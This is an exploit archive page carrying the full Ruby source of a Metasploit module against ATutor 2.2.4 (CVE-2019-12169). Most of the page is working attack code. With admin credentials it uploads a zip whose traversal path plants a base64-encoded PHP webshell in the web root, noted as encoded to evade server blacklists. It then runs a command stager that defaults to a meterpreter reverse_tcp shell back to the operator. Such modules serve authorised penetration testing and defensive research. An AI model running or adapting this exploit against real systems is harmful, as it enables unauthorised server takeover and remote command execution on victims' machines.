exploit the possibilities

ATutor 2.2.4 Directory Traversal / Remote Code Execution

ATutor 2.2.4 Directory Traversal / Remote Code Execution
Posted Jun 30, 2020
Authored by liquidsky, Erik Wynter | Site metasploit.com

This Metasploit module exploits an arbitrary file upload vulnerability together with a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in order to execute arbitrary commands.

tags | exploit, arbitrary, file upload
advisories | CVE-2019-12169
MD5 | 09ec42ff94266d8b91d8385b7c530d7b

ATutor 2.2.4 Directory Traversal / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ATutor 2.2.4 - Directory Traversal / Remote Code Execution, ',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability together with
a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in
order to execute arbitrary commands.

It first creates a zip archive containing a malicious PHP file. The zip
archive takes advantage of a directory traversal vulnerability that will
cause the PHP file to be dropped in the root server directory (`htdocs`
for Windows and `html` for Linux targets). The PHP file contains an
encoded payload that allows for remote command execution on the
target server. The zip archive can be uploaded via two vectors, the
`Import New Language` function and the `Patcher` function. The module
first uploads the archive via `Import New Language` and then attempts to
execute the payload via an HTTP GET request to the PHP file in the root
server directory. If no session is obtained, the module creates another
zip archive and attempts exploitation via `Patcher`.

Valid credentials for an ATutor admin account are required. This module
has been successfully tested against ATutor 2.2.4 running on Windows 10
(XAMPP server).
},
'License' => MSF_LICENSE,
'Author' =>
[
'liquidsky (JMcPeters)', # PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2019-12169'],
['URL', 'https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit/'] # PoC
],
'Platform' => %w[linux win],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[ 'Auto', {} ],
[
'Linux', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'CmdStagerFlavor' => :printf,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'CmdStagerFlavor' => :vbs,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'Privileged' => true,
'DisclosureDate' => '2019-05-17',
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
'WfsDelay' => 3 # If exploitation via `Import New Language` doesn't work, wait this long before attempting exploiting via `Patcher`
},
'DefaultTarget' => 0
)
)

register_options [
OptString.new('TARGETURI', [true, 'The base path to ATutor', '/ATutor/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),
OptString.new('FILE_TRAVERSAL_PATH', [false, 'Traversal path to the root server directory.', ''])
]
end

def select_target(res)
unless res.headers.include? 'Server'
print_warning('Could not detect target OS.')
return
end

# The ATutor documentation recommends installing it on a XAMPP server.
# By default, the Apache server header reveals the target OS using one of the strings used as keys in the hash below
# Apache probably supports more OS keys, which can be added to the array
target_os = res.headers['Server'].split('(')[1].split(')')[0]

fail_with(Failure::NoTarget, 'Unable to determine target OS') unless target_os

case target_os
when 'CentOS', 'Debian', 'Fedora', 'Ubuntu', 'Unix'
@my_target = targets[1]
when 'Win32', 'Win64'
@my_target = targets[2]
else
fail_with(Failure::NoTarget, 'No valid target for target OS')
end

print_good("Identified the target OS as #{target_os}.")
end

def check
vprint_status('Running check')
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))

unless res
return CheckCode::Unknown('Connection failed')
end

unless res.code == 302 && res.body.include?('content="ATutor')
return CheckCode::Safe('Target is not an ATutor application.')
end

res = login
unless res
return CheckCode::Unknown('Authentication failed')
end

unless (res.code == 200 || res.code == 302) && res.body.include?('<title>Home: Administration</title>')
return CheckCode::Unknown('Failed to authenticate as a user with admin privileges.')
end

print_good("Successfully authenticated as user '#{datastore['USERNAME']}'. We have admin privileges!")

ver_no = nil
html = res.get_html_document
info = html.search('dd')
info.each do |dd|
if dd.text.include?('Version')
/(?<ver_no>\d+\.\d+\.\d+)/ =~ dd.text
end
end

@version = ver_no
unless @version && !@version.to_s.empty?
return CheckCode::Detected('Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.')
end

@version = Gem::Version.new(@version)
unless @version <= Gem::Version.new('2.4')
return CheckCode::Unknown("Target is ATutor with version #{@version}.")
end

CheckCode::Appears("Target is ATutor with version #{@version}.")
end

def login
hashed_pass = Rex::Text.sha1(datastore['PASSWORD'])
@token = Rex::Text.rand_text_alpha_lower(5..8)
hashed_pass << @token
hash_final = Rex::Text.sha1(hashed_pass)

res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))
return unless res

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'vars_post' =>
{
'form_login_action' => 'true',
'form_login' => datastore['USERNAME'],
'form_password' => '',
'form_password_hidden' => hash_final,
'token' => @token,
'submit' => 'Login'
}
)

return unless res

# from exploits/multi/http/atutor_sqli
if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
@cookie = "ATutorID=#{Regexp.last_match(4)};"
else
@cookie = res.get_cookies
end

redirect = URI(res.headers['Location'])
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, redirect),
'cookie' => @cookie
})

res
end

def patcher_csrf_token(upload_url)
res = send_request_cgi({
'method' => 'GET',
'uri' => upload_url,
'cookie' => @cookie
})

unless res && (res.code == 200 || res.code == 302)
fail_with(Failure::NoAccess, 'Failed to obtain csrf token.')
end

html = res.get_html_document
csrf_token = html.at('input[@name="csrftoken"]')
csrf_token = csrf_token['value'] if csrf_token

max_file_size = html.at('input[@name="MAX_FILE_SIZE"]')
max_file_size = max_file_size['value'] if max_file_size

unless csrf_token && csrf_token.to_s.strip != ''
csrf_token = @token # these should be the same because if the token generated by the module during authentication is accepted by the app, it becomes the csrf token
end

unless max_file_size && max_file_size.to_s.strip != ''
max_file_size = '52428800' # this seems to be the default value
end

return csrf_token, max_file_size
end

def create_zip_and_upload(exploit)
@pl_file = Rex::Text.rand_text_alpha_lower(6..10)
@pl_file << '.php'
register_file_for_cleanup(@pl_file)
@header = Rex::Text.rand_text_alpha_upper(4)
@pl_command = Rex::Text.rand_text_alpha_lower(6..10)
# encoding is necessary to evade blacklisting on server side
@pl_encoded = Rex::Text.encode_base64("\r\n\t\r\n<?php echo passthru($_GET['#{@pl_command}']); ?>\r\n")

if datastore['FILE_TRAVERSAL_PATH'] && !datastore['FILE_TRAVERSAL_PATH'].empty?
@traversal_path = datastore['FILE_TRAVERSAL_PATH']
elsif @my_target['Platform'] == 'linux'
@traversal_path = '../../../../../../var/www/html/'
else
# The ATutor documentation recommends Windows users to use a XAMPP server.
@traversal_path = '..\\..\\..\\..\\..\\../xampp\\htdocs\\'
end

@traversal_path = "#{@traversal_path}#{@pl_file}"

# create zip file
zip_file = Rex::Zip::Archive.new
zip_file.add_file(@traversal_path, "<?php eval(\"?>\".base64_decode(\"#{@pl_encoded}\")); ?>")
zip_name = Rex::Text.rand_text_alpha_lower(5..8)
zip_name << '.zip'

post_data = Rex::MIME::Message.new

# select exploit method
if exploit == 'language'
print_status('Attempting exploitation via the `Import New Language` function.')
upload_url = normalize_uri(target_uri.path, 'mods', '_core', 'languages', 'language_import.php')

post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{zip_name}\"")
post_data.add_part('Import', nil, nil, 'form-data; name="submit"')
elsif exploit == 'patcher'
print_status('Attempting exploitation via the `Patcher` function.')
upload_url = normalize_uri(target_uri.path, 'mods', '_standard', 'patcher', 'index_admin.php')

patch_info = patcher_csrf_token(upload_url)
csrf_token = patch_info[0]
max_file_size = patch_info[1]

post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrftoken"')
post_data.add_part(max_file_size, nil, nil, 'form-data; name="MAX_FILE_SIZE"')
post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"patchfile\"; filename=\"#{zip_name}\"")
post_data.add_part('Install', nil, nil, 'form-data; name="install_upload"')
post_data.add_part('1', nil, nil, 'form-data; name="uploading"')
else
fail_with(Failure::Unknown, 'An error occurred.')
end

res = send_request_cgi({
'method' => 'POST',
'uri' => upload_url,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => @cookie,
'headers' => {
'Accept-Encoding' => 'gzip,deflate',
'Referer' => "http://#{datastore['RHOSTS']}#{upload_url}"
},
'data' => post_data.to_s
})

unless res
fail_with(Failure::Unknown, 'Connection failed while trying to upload the payload.')
end

unless (res.code == 200 || res.code == 302)
fail_with(Failure::Unknown, 'Failed to upload the payload.')
end
print_status("Uploaded malicious PHP file #{@pl_file}.")
end

def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@pl_file),
'cookie' => @cookie,
'vars_get' => { @pl_command => cmd }
})
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

res = login
if target.name == 'Auto'
select_target(res)
else
@my_target = target
end

# There are two vulnerable functions, the `Import New Language` function and the `Patcher` function
# The module first attempts to exploit `Import New Language`. If that fails, it tries to exploit `Patcher`
create_zip_and_upload('language')
print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")

if @my_target['Platform'] == 'linux'
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
else
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])
end
sleep(wfs_delay)

# The only way to know whether or not the exploit succeeded, is by checking if a session was created
unless session_created?
print_warning('Failed to obtain a session when exploiting `Import New Language`.')
create_zip_and_upload('patcher')
print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")
if @my_target['Platform'] == 'linux'
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
else
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])
end
end
end
end
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    16 Files
  • 23
    Oct 23rd
    2 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close